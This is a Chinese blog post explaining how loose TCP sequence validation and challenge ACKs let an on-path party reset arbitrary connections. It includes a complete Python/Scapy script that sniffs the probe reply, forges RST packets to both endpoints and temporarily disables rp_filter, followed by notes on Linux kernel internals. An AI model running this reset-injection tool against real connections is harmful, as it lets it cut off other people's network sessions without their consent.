1. 程式人生 > >在任意位置Reset掉任意的TCP連線

在任意位置Reset掉任意的TCP連線

漫漫長夜又要降臨…黑夜裡,我不敢點燈,復明日,陽光下,我不敢睜眼。

這篇文章完全來自於我在解決另一個問題是一個突然的想法。所以並沒有什麼前因後果。

我本來是想模擬一個TCP接收端對收到資料包的確認,採用了Scapy這個簡單的工具,然而折騰了大半天沒有順利搞定。其實我是不怎麼懂Python的,折騰了大半天之後,竟然對Python產生了興趣,正好旁邊有人碰到了TCP連線被莫名Reset掉的案例,借這個樓,就想寫一個能把任意TCP連線給Reset掉的小程式,主要是為了用Python練一下手而已,熟悉一下Python快樂程式設計的過程,體驗一把樂趣。

折騰Scapy這件事的結果補充一下,本初的願望沒有達成,沒有完成探測擁塞控制行為的目的,反而學了一點Python,證實了我不會程式設計,但也不是一點都不會,我稍微會一點。


把任意的TCP連線給Reset掉是比較容易的,因為TCP在收到資料包時,對傳送者僅僅做以下簡單的校驗:

  • 五元組校驗;
  • 校驗和檢測;
  • 序列號校驗。

這是非常鬆散的校驗機制!此外,我們知道TCP是一個端到端的傳輸協議,這意味著它無法控制資料包在經由網路鏈路時的任何事件。於是乎以下的機制就是一個不得已的必須機制,而恰恰是該機制非常容易被利用,使得一個TCP連線非常容易被旁路幹掉!該機制就是:

  • TCP接收到一個莫名其妙的亂序報文時,必須立即回覆一個攜帶正確序列號和確認號的ACK報文!

我們核對一下Linux TCP實現在收到報文時的校驗函式tcp_validate_incoming:
在這裡插入圖片描述

於是乎,為了能讓一個TCP端正確處理Reset報文,就必須可以通過 序列號校驗, 為了能獲取 正確的序列號, 可以用以上的機制給TCP其中一端傳送一個 任意序列號的報文,如果你堵在兩端的必經之路上,那就可以收到 正確的序列號報文 了。

其實本文的題目中,“在任意位置” 說的並不嚴謹,如果你猜不到正確的序列號,需要傳送探測資料報文的話,那麼想Reset掉連線必須有一個前提,即你必須能抓獲這個探測包的回覆報文,因為正確的資訊都在這個回覆報文裡。然而如果你並沒有將這個TCP殺手部署的連線的必經之路上,就不能保證回覆的報文一定被抓取到。不管怎麼樣,相信辦法還是有的。

下面是一個原理圖:
在這裡插入圖片描述

是不是非常簡單的呢?是的!

這個小工具要是做出來也是蠻有用的,畢竟TCP不會想原始的RFC793裡的狀態機那麼 閉環,有時真的是對端早就陣亡了,本端還會有一些TCP遺體,要想除掉它們,這個工具就比較有用了。此外,偉大的防火城牆最初不也是採用了這種方案雙邊Reset連線嗎?

下面是我用Python練手的一個程式碼,可以完成上述原理圖裡的操作:

#!/usr/bin/python

import sys
import os
import thread
import time

import signal
from scapy.all import *

# 五元組的源IP地址,如果在其中一端執行,則為該端的IP地址
# 注意,源和目標為任意方向,不必以建立連線的主動和被動來區分。
src = sys.argv[1] 
# 五元組的目標IP
dst = sys.argv[2]
# 和源IP對應的源埠
sport = sys.argv[3]
# 和目標IP對應的目標埠
dport = sys.argv[4]
local = int(sys.argv[5])

flt = "dst host " + src + " and dst port " + sport + " and src host " + dst + " and src port " + dport

def signal_handler(signal, frame):
	os._exit(0)

def printrecv(pktdata):
	if TCP in pktdata and pktdata[TCP]:
		seqno = pktdata[TCP].ack
		ackno = pktdata[TCP].seq
		if local == 1:
			# 如果是在本機操作,則需要把lo的rp_filter關閉,這是因為構造的Reset是被灌入到loopback網絡卡的。
			all_rp = os.popen('cat /proc/sys/net/ipv4/conf/all/rp_filter').read()
			lo_rp = os.popen('cat /proc/sys/net/ipv4/conf/lo/rp_filter').read()
			os.popen('sysctl -w net.ipv4.conf.all.rp_filter=0')
			os.popen('sysctl -w net.ipv4.conf.lo.rp_filter=0')
			# 為了防止tcp_v4_rcv裡面的PKT_HOST型別檢查失敗,強制一個MAC地址
			sendp(Ether(dst="00:00:00:00:00:00")/IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), iface="lo", verbose = 0)
			os.popen('sysctl -w net.ipv4.conf.all.rp_filter='+all_rp)
			os.popen('sysctl -w net.ipv4.conf.lo.rp_filter='+lo_rp)
		else:
			send(IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), verbose = 0)

		send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "R", seq=seqno), verbose = 0)
	os._exit(0)

def recv_packet(threadName, delay):
	# 抓取探測包的返回包,該返回包攜帶了正確的seq和ack
	sniff(prn = printrecv, store = 0, filter = flt)

if __name__ == '__main__':
	signal.signal(signal.SIGINT, signal_handler)
	# 建立抓包執行緒
	thread.start_new_thread(recv_packet, ("Thread-2", 4, ))
	time.sleep(1) # 等待抓包執行緒就緒後傳送探測包
	send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "A"), verbose = 0)
	while 1:
		pass  # 空轉,不是好方法!

這個程式碼僅僅是為了練習Python,其實有一個現成的殺TCP連線的工具,叫做tcpkill,它的Wiki在:https://en.wikipedia.org/wiki/Tcpkill
和tcpkill相比,我的這個比較low,但我沒用過tcpkill,不曉得它有沒有對待靜默連線先探測的這個功能,請在使用前務必研究清楚。


現在,我來說一下做這個小程式時踩到的一些坑吧,如果對Linux的IP實現不熟悉,這些坑很難填平,當然這對於我來講,並不是什麼事。

  • 構造報文的loopback注入問題

如果在本機來殺一條本機的連線,那麼我們抓到探測報文的返回報文後,就可以構造Reset報文了,這看似簡單,但問題是這個構造的Reset如何注入到本機的TCP端。

Python的Scapy send/sendp均是用packet套接字來發送構造的RAW報文的,packet套接字必須注入到loopback網絡卡才能環回到本地TCP/IP協議棧,然而loopback接收的這個構造的報文源IP卻是遠端的TCP端點IP地址,這在loopback開啟了rp_filter的情況下會無法通過驗證的,即便是loopback的rp_filter關閉,還有一個all.rp_filter,系統在做validate source的時候,是取的二者之間的大值,即只要有一個開啟,就會開啟rp驗證,所以在Python指令碼中需要將二者全部關閉。

  • 目標MAC地址問題

使用send傳送packet資料包會嘗試繫結一個傳送介面,然而目標地址就是本機的物理網絡卡的地址。構造報文是不可能通過物理網絡卡傳送到wire上去的,而是會經由loopback環回到本地,然而此時必須指定一個目標MAC地址,否則將會取廣播地址,而這個會在tcp_v4_rcv函式的開始,校驗出錯:

int tcp_v4_rcv(struct sk_buff *skb)
{
	const struct iphdr *iph;
	const struct tcphdr *th;
	struct sock *sk;
	int ret;
	struct net *net = dev_net(skb->dev);
	// 如果是廣播MAC,type將不會是HOST
	if (skb->pkt_type != PACKET_HOST)
		goto discard_it;
  • RAW套接字和Packet套接字

起初我一直以為Scapy是通過RAW套接字傳送資料包的,後來strace了一下發現是通過Packet套接字傳送的。不過這裡可以簡單解釋一下二者的區別。

  1. Packet套接字
    需要關聯到一個特定的網絡卡直接傳送,無需經過路由查詢和地址解析。這是顯然的,路由查詢的目的無非也就是定位到一個網絡卡,現在網絡卡已經有了,直接傳送即可,至於發到了哪裡,能不能到達目的地,聽天由命了。
  2. RAW套接字
    這種RAW套接字傳送的報文是需要經過路由查詢的,只是說IP頭以及IP上層的協議以及資料可以自己構造。

Packet套接字非常直接和簡單,這裡不多說。

現在我來就著一個問題再來解釋一下一個關於RAW套接字的問題。

既然在收報文的時候需要validate源地址的合理性,那麼RAW套接字在傳送報文的時候,路由邏輯是不是也需要validate一下源地址的合理性呢?畢竟RAW套接字的IP頭是可以自行構造的,顯然源地址也可以構造。

答案是需要看該RAW套接字的IP_HDRINCL socket選項有沒有設定。

  • 如果設定了IP_HDRINCL選項
    繞過source validate邏輯,即構造的IP源地址可以是非本機地址。
  • 如果沒有設定IP_HDRINCL選項
    忽略構造的IP源地址,以路由查詢邏輯動態確定IP源地址。

嗯,這是我總結出的一個非常簡單的解釋。


浙江溫州皮鞋溼,下雨進水不會胖!